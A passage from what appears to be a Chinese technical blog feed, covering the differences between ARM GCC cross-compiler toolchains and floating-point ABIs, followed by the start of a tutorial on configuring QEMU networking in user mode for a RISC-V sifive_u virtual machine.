&lt;p&gt;根据对操作系统的支持与否，ARM GCC可分为支持和不支持操作系统，如&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;arm-none-eabi：这个是没有操作系统的，自然不可能支持那些跟操作系统关系密切的函数，比如fork(2)。他使用的是newlib这个专用于嵌入式系统的C库。&lt;&#x2F;li&gt;
&lt;li&gt;arm-none-linux-eabi：用于Linux的，使用Glibc&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_labelTop&quot;&gt;回到顶部&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-shi-li&quot;&gt;二、实例&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-arm-none-eabi-gcc&quot;&gt;1、arm-none-eabi-gcc&lt;&#x2F;h3&gt;
&lt;p&gt;（ARM architecture，no vendor，not target an operating system，complies with the ARM EABI）
用于编译 ARM 架构的裸机系统（包括 ARM Linux 的 boot、kernel，不适用编译 Linux 应用 Application），一般适合 ARM7、Cortex-M 和 Cortex-R 内核的芯片使用，所以不支持那些跟操作系统关系密切的函数，比如fork(2)，他使用的是 newlib 这个专用于嵌入式系统的C库。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-arm-none-linux-gnueabi-gcc&quot;&gt;2、arm-none-linux-gnueabi-gcc&lt;&#x2F;h3&gt;
&lt;p&gt;(ARM architecture, no vendor, creates binaries that run on the Linux operating system, and uses the GNU EABI)&lt;&#x2F;p&gt;
&lt;p&gt;主要用于基于ARM架构的Linux系统，可用于编译 ARM 架构的 u-boot、Linux内核、linux应用等。arm-none-linux-gnueabi基于GCC，使用Glibc库，经过 Codesourcery 公司优化过推出的编译器。arm-none-linux-gnueabi-xxx 交叉编译工具的浮点运算非常优秀。一般ARM9、ARM11、Cortex-A 内核，带有 Linux 操作系统的会用到。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-arm-eabi-gcc&quot;&gt;3、arm-eabi-gcc&lt;&#x2F;h3&gt;
&lt;p&gt;Android ARM 编译器。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-armcc&quot;&gt;4、armcc&lt;&#x2F;h3&gt;
&lt;p&gt;ARM 公司推出的编译工具，功能和 arm-none-eabi 类似，可以编译裸机程序（u-boot、kernel），但是不能编译 Linux 应用程序。armcc一般和ARM开发工具一起，Keil MDK、ADS、RVDS和DS-5中的编译器都是armcc，所以 armcc 编译器都是收费的（爱国版除外，呵呵~~）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-arm-none-uclinuxeabi-gcc-he-arm-none-symbianelf-gcc&quot;&gt;5、arm-none-uclinuxeabi-gcc 和 arm-none-symbianelf-gcc&lt;&#x2F;h3&gt;
&lt;p&gt;arm-none-uclinuxeabi 用于uCLinux，使用Glibc。&lt;&#x2F;p&gt;
&lt;p&gt;arm-none-symbianelf 用于symbian，没用过，不知道C库是什么 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_labelTop&quot;&gt;回到顶部&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-codesourcery&quot;&gt;三、Codesourcery&lt;&#x2F;h2&gt;
&lt;p&gt;Codesourcery推出的产品叫Sourcery G++ Lite Edition，其中基于command-line的编译器是免费的，在官网上可以下载，而其中包含的IDE和debug 工具是收费的，当然也有30天试用版本的。&lt;&#x2F;p&gt;
&lt;p&gt;目前CodeSourcery已经由明导国际(Mentor Graphics)收购，所以原本的网站风格已经全部变为 Mentor 样式，但是 Sourcery G++ Lite Edition 同样可以注册后免费下载。&lt;&#x2F;p&gt;
&lt;p&gt;Codesourcery一直是在做ARM目标 GCC 的开发和优化，它的ARM GCC在目前在市场上非常优秀，很多 patch 可能还没被gcc接受，所以还是应该直接用它的（而且他提供Windows下[mingw交叉编译的]和Linux下的二进制版本，比较方便；如果不是很有时间和兴趣，不建议下载 src 源码包自己编译，很麻烦，Codesourcery给的shell脚本很多时候根本没办法直接用，得自行提取关键的部分手工执行，又费精力又费时间，如果想知道细节，其实不用自己编译一遍，看看他是用什么步骤构建的即可，如果你对交叉编译器感兴趣的话。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_labelTop&quot;&gt;回到顶部&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-abi-he-eabi&quot;&gt;四、ABI 和 EABI&lt;&#x2F;h2&gt;
&lt;p&gt;ABI：二进制应用程序接口(Application Binary Interface (ABI) for the ARM Architecture)。在计算机中，应用二进制接口描述了应用程序（或者其他类型）和操作系统之间或其他应用程序的低级接口。&lt;&#x2F;p&gt;
&lt;p&gt;EABI：嵌入式ABI。嵌入式应用二进制接口指定了文件格式、数据类型、寄存器使用、堆积组织优化和在一个嵌入式软件中的参数的标准约定。开发者使用自己的汇编语言也可以使用 EABI 作为与兼容的编译器生成的汇编语言的接口。&lt;&#x2F;p&gt;
&lt;p&gt;两者主要区别是，ABI是计算机上的，EABI是嵌入式平台上（如ARM，MIPS等）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_labelTop&quot;&gt;回到顶部&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-arm-linux-gnueabi-gcc-he-arm-linux-gnueabihf-gcc&quot;&gt;五、arm-linux-gnueabi-gcc 和 arm-linux-gnueabihf-gcc&lt;&#x2F;h2&gt;
&lt;p&gt;两个交叉编译器分别适用于 armel 和 armhf 两个不同的架构，armel 和 armhf 这两种架构在对待浮点运算采取了不同的策略（有 fpu 的 arm 才能支持这两种浮点运算策略）。&lt;&#x2F;p&gt;
&lt;p&gt;其实这两个交叉编译器只不过是 gcc 的选项 -mfloat-abi 的默认值不同。gcc 的选项 -mfloat-abi 有三种值 soft、softfp、hard（其中后两者都要求 arm 里有 fpu 浮点运算单元，soft 与后两者是兼容的，但 softfp 和 hard 两种模式互不兼容）：
soft： 不用fpu进行浮点计算，即使有fpu浮点运算单元也不用，而是使用软件模式。
softfp： armel架构（对应的编译器为 arm-linux-gnueabi-gcc ）采用的默认值，用fpu计算，但是传参数用普通寄存器传，这样中断的时候，只需要保存普通寄存器，中断负荷小，但是参数需要转换成浮点的再计算。
hard： armhf架构（对应的编译器 arm-linux-gnueabihf-gcc ）采用的默认值，用fpu计算，传参数也用fpu中的浮点寄存器传，省去了转换，性能最好，但是中断负荷高。&lt;&#x2F;p&gt;
&lt;p&gt;把以下测试使用的C文件内容保存成 mfloat.c：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;include-stdio-h&quot;&gt;include &amp;lt;stdio.h&amp;gt;&lt;&#x2F;h1&gt;
&lt;p&gt;int main(void)
{
double a,b,c;
a = 23.543;
b = 323.234;
c = b&#x2F;a;
printf(“the 13&#x2F;2 = %f\n”, c);
printf(“hello world !\n”);
return 0;
}&lt;&#x2F;p&gt;
&lt;p&gt;1、使用 arm-linux-gnueabihf-gcc 编译，使用“-v”选项以获取更详细的信息：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;arm-linux-gnueabihf-gcc-v-mfloat-c&quot;&gt;arm-linux-gnueabihf-gcc -v mfloat.c&lt;&#x2F;h1&gt;
&lt;p&gt;COLLECT_GCC_OPTIONS=’-v’ ‘-march=armv7-a’ ‘-mfloat-abi=hard’ ‘-mfpu=vfpv3-d16′ ‘-mthumb’
-mfloat-abi=hard&lt;&#x2F;p&gt;
&lt;p&gt;可看出使用hard硬件浮点模式。&lt;&#x2F;p&gt;
&lt;p&gt;2、使用 arm-linux-gnueabi-gcc 编译：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;arm-linux-gnueabi-gcc-v-mfloat-c&quot;&gt;arm-linux-gnueabi-gcc -v mfloat.c&lt;&#x2F;h1&gt;
&lt;p&gt;COLLECT_GCC_OPTIONS=’-v’ ‘-march=armv7-a’ ‘-mfloat-abi=softfp’ ‘-mfpu=vfpv3-d16′ ‘-mthumb’
-mfloat-abi=softfp&lt;&#x2F;p&gt;
&lt;p&gt;可看出使用softfp模式。&lt;&#x2F;p&gt;
&lt;p&gt;交叉编译工具&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_labelTop&quot;&gt;回到顶部&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liu-can-kao-zi-liao&quot;&gt;六、参考资料&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;交叉编译器 arm-linux-gnueabi 和 arm-linux-gnueabihf 的区别：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.cnblogs.com&#x2F;xiaotlili&#x2F;p&#x2F;3306100.html&quot;&gt;http:&#x2F;&#x2F;www.cnblogs.com&#x2F;xiaotlili&#x2F;p&#x2F;3306100.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;arm-none-linux-gnueabi，arm-none-eabi 与arm-eabi 区别：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;mantis_1984&#x2F;article&#x2F;details&#x2F;21049273&quot;&gt;http:&#x2F;&#x2F;blog.csdn.net&#x2F;mantis_1984&#x2F;article&#x2F;details&#x2F;21049273&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;What&#x27;s the difference between arm-linux- &#x2F; arm-none-linux-gnueabi- &#x2F; arm-fsl-linux-gnueabi- in LTIB?&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;community.freescale.com&#x2F;thread&#x2F;313490&quot;&gt;https:&#x2F;&#x2F;community.freescale.com&#x2F;thread&#x2F;313490&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>【qemu】qemu网络配置</title>
        <published>2024-09-20T00:00:00+00:00</published>
        <updated>2024-09-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/qemu-qemu网络配置/"/>
        <id>https://vercel.juzhong.asia/obsidian/qemu-qemu网络配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/qemu-qemu网络配置/">&lt;h1 id=&quot;qemu-qemuwang-luo-pei-zhi&quot;&gt;【qemu】qemu网络配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-shu-yu&quot;&gt;1. 术语&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;name&lt;&#x2F;th&gt;&lt;th&gt;description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;virtual networking device &#x2F; NIC&lt;&#x2F;td&gt;&lt;td&gt;qemu 模拟网卡&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;network backend&lt;&#x2F;td&gt;&lt;td&gt;qemu 网络后端&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;2-ji-ben-jie-shao&quot;&gt;2. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?q=%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D&amp;amp;zhida_source=entity&amp;amp;is_preview=1&quot;&gt;基本介绍&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;QEMU 网络包含两个部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;提供给 guset 的&lt;strong&gt;模拟网卡&lt;&#x2F;strong&gt;（例如，PCI网卡）；&lt;&#x2F;li&gt;
&lt;li&gt;与模拟网卡交互的&lt;strong&gt;网络后端&lt;&#x2F;strong&gt;（例如，将数据包放入主机网络）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每个部分都有一系列选项。默认情况下（即使不加任何 network 相关的参数），QEMU 将为 guest 创建：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;SLiRP 用户网络后端&lt;&#x2F;li&gt;
&lt;li&gt;合适的虚拟网络设备（例如，用于大多数 x86 PC guest 的 E1000 PCI 网卡）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：如果在命令行（通过  &lt;strong&gt;-net（已废弃）、-nic&lt;&#x2F;strong&gt;或 &lt;strong&gt;-netdev&lt;&#x2F;strong&gt;）指定任何网络选项，那么 QEMU 将要求您提供足以定义和连接这两个部分的选项。（忘记指定网络后端或网络虚拟设备会给出警告信息，如“&lt;strong&gt;Warning: netdev mynet0 has no&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?q=peer&amp;amp;zhida_source=entity&amp;amp;is_preview=1&quot;&gt;peer&lt;&#x2F;a&gt;** &lt;strong&gt;”，“Warning: hub 0 is not connected to host network”&lt;&#x2F;strong&gt; 或者**“Warning: hub 0 with no nics”，** 然后 VM 将启动，但是没有正常运行的网络）
注意：如果您使用（默认）SLiRP 用户网络，则 ping（ICMP）将不起作用，但 TCP 和 UDP 将起作用。不要尝试使用 ping 来测试您的 QEMU 网络配置。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;3-kuai-su-pei-zhi&quot;&gt;3. 快速配置&lt;&#x2F;h2&gt;
&lt;p&gt;QEMU配置网络环境通常有两种方式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可插拔网卡（pluggable NIC）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;-device DEVNAME,netdev=NET-ID,... \
-netdev TYPE,id=NET-ID,...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：“-device ?”可以查看机器支持的设备（包含网卡设备）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;板载网卡（On-board NIC）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;-nic TYPE,model=DEVNAME,...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：“-nic model=?”可以查看机器支持的 NIC 设备。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;QEMU 支持的网络选项可通过“--help”来查看：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;Network options:
-netdev user,id=str[,ipv4=on|off][,net=addr[&amp;#x2F;mask]][,host=addr]
         [,ipv6=on|off][,ipv6-net=addr[&amp;#x2F;int]][,ipv6-host=addr]
         [,restrict=on|off][,hostname=host][,dhcpstart=addr]
         [,dns=addr][,ipv6-dns=addr][,dnssearch=domain][,domainname=domain]
         [,tftp=dir][,tftp-server-name=name][,bootfile=f][,hostfwd=rule][,guestfwd=rule] [,smb=dir[,smbserver=addr]]
                configure a user mode network backend with ID &amp;#x27;str&amp;#x27;,
                its DHCP server and optional services
-netdev tap,id=str[,fd=h][,fds=x:y:...:z][,ifname=name][,script=file][,downscript=dfile]
         [,br=bridge][,helper=helper][,sndbuf=nbytes][,vnet_hdr=on|off][,vhost=on|off]
         [,vhostfd=h][,vhostfds=x:y:...:z][,vhostforce=on|off][,queues=n]
         [,poll-us=n]
                configure a host TAP network backend with ID &amp;#x27;str&amp;#x27;
                connected to a bridge (default=br0)
                use network scripts &amp;#x27;file&amp;#x27; (default=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;etc&amp;#x2F;qemu-ifup)
                to configure it and &amp;#x27;dfile&amp;#x27; (default=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;etc&amp;#x2F;qemu-ifdown)
                to deconfigure it
                use &amp;#x27;[down]script=no&amp;#x27; to disable script execution
                use network helper &amp;#x27;helper&amp;#x27; (default=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;qemu-bridge-helper) to
                configure it
                use &amp;#x27;fd=h&amp;#x27; to connect to an already opened TAP interface
                use &amp;#x27;fds=x:y:...:z&amp;#x27; to connect to already opened multiqueue capable TAP interfaces
                use &amp;#x27;sndbuf=nbytes&amp;#x27; to limit the size of the send buffer (the
                default is disabled &amp;#x27;sndbuf=0&amp;#x27; to enable flow control set &amp;#x27;sndbuf=1048576&amp;#x27;)
                use vnet_hdr=off to avoid enabling the IFF_VNET_HDR tap flag
                use vnet_hdr=on to make the lack of IFF_VNET_HDR support an error condition
                use vhost=on to enable experimental in kernel accelerator
                    (only has effect for virtio guests which use MSIX)
                use vhostforce=on to force vhost on for non-MSIX virtio guests
                use &amp;#x27;vhostfd=h&amp;#x27; to connect to an already opened vhost net device
                use &amp;#x27;vhostfds=x:y:...:z to connect to multiple already opened vhost net devices
                use &amp;#x27;queues=n&amp;#x27; to specify the number of queues to be created for multiqueue TAP
                use &amp;#x27;poll-us=n&amp;#x27; to specify the maximum number of microseconds that could be
                spent on busy polling for vhost net
-netdev bridge,id=str[,br=bridge][,helper=helper]
                configure a host TAP network backend with ID &amp;#x27;str&amp;#x27; that is
                connected to a bridge (default=br0)
                using the program &amp;#x27;helper (default=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;libexec&amp;#x2F;qemu-bridge-helper)
-netdev l2tpv3,id=str,src=srcaddr,dst=dstaddr[,srcport=srcport][,dstport=dstport]
         [,rxsession=rxsession],txsession=txsession[,ipv6=on|off][,udp=on|off]
         [,cookie64=on|off][,counter][,pincounter][,txcookie=txcookie]
         [,rxcookie=rxcookie][,offset=offset]
                configure a network backend with ID &amp;#x27;str&amp;#x27; connected to
                an Ethernet over L2TPv3 pseudowire.
                Linux kernel 3.3+ as well as most routers can talk
                L2TPv3. This transport allows connecting a VM to a VM,
                VM to a router and even VM to Host. It is a nearly-universal
                standard (RFC3931). Note - this implementation uses static
                pre-configured tunnels (same as the Linux kernel).
                use &amp;#x27;src=&amp;#x27; to specify source address
                use &amp;#x27;dst=&amp;#x27; to specify destination address
                use &amp;#x27;udp=on&amp;#x27; to specify udp encapsulation
                use &amp;#x27;srcport=&amp;#x27; to specify source udp port
                use &amp;#x27;dstport=&amp;#x27; to specify destination udp port
                use &amp;#x27;ipv6=on&amp;#x27; to force v6
                L2TPv3 uses cookies to prevent misconfiguration as
                well as a weak security measure
                use &amp;#x27;rxcookie=0x012345678&amp;#x27; to specify a rxcookie
                use &amp;#x27;txcookie=0x012345678&amp;#x27; to specify a txcookie
                use &amp;#x27;cookie64=on&amp;#x27; to set cookie size to 64 bit, otherwise 32
                use &amp;#x27;counter=off&amp;#x27; to force a &amp;#x27;cut-down&amp;#x27; L2TPv3 with no counter
                use &amp;#x27;pincounter=on&amp;#x27; to work around broken counter handling in peer
                use &amp;#x27;offset=X&amp;#x27; to add an extra offset between header and data
-netdev socket,id=str[,fd=h][,listen=[host]:port][,connect=host:port]
                configure a network backend to connect to another network
                using a socket connection
-netdev socket,id=str[,fd=h][,mcast=maddr:port[,localaddr=addr]]
                configure a network backend to connect to a multicast maddr and port
                use &amp;#x27;localaddr=addr&amp;#x27; to specify the host address to send packets from
-netdev socket,id=str[,fd=h][,udp=host:port][,localaddr=host:port]
                configure a network backend to connect to another network
                using an UDP tunnel
-netdev vhost-user,id=str,chardev=dev[,vhostforce=on|off]
                configure a vhost-user network, backed by a chardev &amp;#x27;dev&amp;#x27;
-netdev vhost-vdpa,id=str,vhostdev=&amp;#x2F;path&amp;#x2F;to&amp;#x2F;dev
                configure a vhost-vdpa network,Establish a vhost-vdpa netdev
-netdev hubport,id=str,hubid=n[,netdev=nd]
                configure a hub port on the hub with ID &amp;#x27;n&amp;#x27;
-nic [tap|bridge|user|l2tpv3|vhost-user|socket][,option][,...][mac=macaddr]
                initialize an on-board &amp;#x2F; default host NIC (using MAC address
                macaddr) and connect it to the given host network backend
-nic none      use it alone to have zero network devices (the default is to
                provided a &amp;#x27;user&amp;#x27; network connection)
-net nic[,macaddr=mac][,model=type][,name=str][,addr=str][,vectors=v]
                configure or create an on-board (or machine default) NIC and
                connect it to hub 0 (please use -nic unless you need a hub)
-net [user|tap|bridge|socket][,option][,option][,...]
                old way to initialize a host network interface
                (use the -netdev option if possible instead)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里以 sifive 公司提供的 riscv 架构虚拟机 sifive_u 为例，介绍两种基本的配置模式：user 和 tap。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-user-mo-shi&quot;&gt;3.1 user 模式&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;已验证&lt;&#x2F;strong&gt;的选项配置参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;id=STR: 网络唯一标识
net=ADDR[&amp;#x2F;MASK]: 子网段
host=ADDR: DHCP服务器地址（需与net保持对应）
hostname=HOST:
restrict=[on|off]: 是否与主机网络隔离
dhcpstart=ADDR: DHCP分配的起始地址（需与net保持对应）
dns=ADDR: 虚拟DNS服务器地址（需与net保持对应）
dnssearch=DOAMIN:
domainname=DOMAIN:
tftp=DIR: host端本地目录（这里仅使用tftp协议传输文件，未使用host端的tftpd-hpa服务）
tftp-server-name=NAME:
bootfile=FILE: 启动镜像的名称（针对u-boot）
hostfwd=RULE: host端口转发
guestfwd=RULE:
smb=DIR[,smbserver=ADDR]:
mac=MACADDR:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;举例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&amp;#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&amp;#x2F;home&amp;#x2F;user&amp;#x2F;share&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;qemu-system-riscv64  &lt;strong&gt;-M&lt;&#x2F;strong&gt; &lt;strong&gt;sifive_u&lt;&#x2F;strong&gt; -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定启动 sifive_u &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?q=%E8%99%9A%E6%8B%9F%E6%9C%BA&amp;amp;zhida_source=entity&amp;amp;is_preview=1&quot;&gt;虚拟机&lt;&#x2F;a&gt;，全写为 -machine sifive_uqemu-system-riscv64 -M sifive_u  &lt;strong&gt;-m 256M&lt;&#x2F;strong&gt; -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定分配 256M RAM&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M  &lt;strong&gt;-bios uboot.bin&lt;&#x2F;strong&gt; -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定启动 u-boot 镜像&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin  &lt;strong&gt;-nic user,model=cadence_gem&lt;&#x2F;strong&gt;,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定开启型号为 cadence_gem 的网卡，以 user 模式进行网络配置&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,&lt;strong&gt;id=net001&lt;&#x2F;strong&gt;,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定网络标识&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,&lt;strong&gt;net=192.168.1.0&#x2F;24&lt;&#x2F;strong&gt;,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——划分子网段&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,&lt;strong&gt;dhcpstart=192.168.1.1&lt;&#x2F;strong&gt;,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——如果 guest 存在dhcp client，将会从 192.168.1.1 为 guest 分配ip&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,&lt;strong&gt;dns=192.168.1.3&lt;&#x2F;strong&gt;,host=192.168.1.2,hostfwd=tcp::2021-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定 dns 服务器 ip&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,&lt;strong&gt;host=192.168.1.2&lt;&#x2F;strong&gt;,hostfwd=tcp::1993-:2021,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——指定 guest 网关，即 host 在子网段中的 ip&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,&lt;strong&gt;hostfwd=tcp::1993-:2021&lt;&#x2F;strong&gt;,tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;
——转发 host 机的 tcp:1993 至 guest 机的 tcp:2021，即将 guest 机的 tcp:2021 映射至 host 机的 tcp:1993&lt;&#x2F;p&gt;
&lt;p&gt;qemu-system-riscv64 -M sifive_u -m 256M -bios uboot.bin -nic user,model=cadence_gem,id=net001,net=192.168.1.0&#x2F;24,dhcpstart=192.168.1.1,dns=192.168.1.3,host=192.168.1.2,hostfwd=tcp::1993-:2021,&lt;strong&gt;tftp=&#x2F;home&#x2F;user&#x2F;share&#x2F;&lt;&#x2F;strong&gt;
——QEMU 内部模拟 tftp 服务器，指定相关目录&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;借助官方提供的一张图描述本次实验的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?q=%E7%BD%91%E7%BB%9C%E6%8B%93%E6%89%91%E7%BB%93%E6%9E%84&amp;amp;zhida_source=entity&amp;amp;is_preview=1&quot;&gt;网络拓扑结构&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-networking&#x2F;qemu-user-net-topology.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
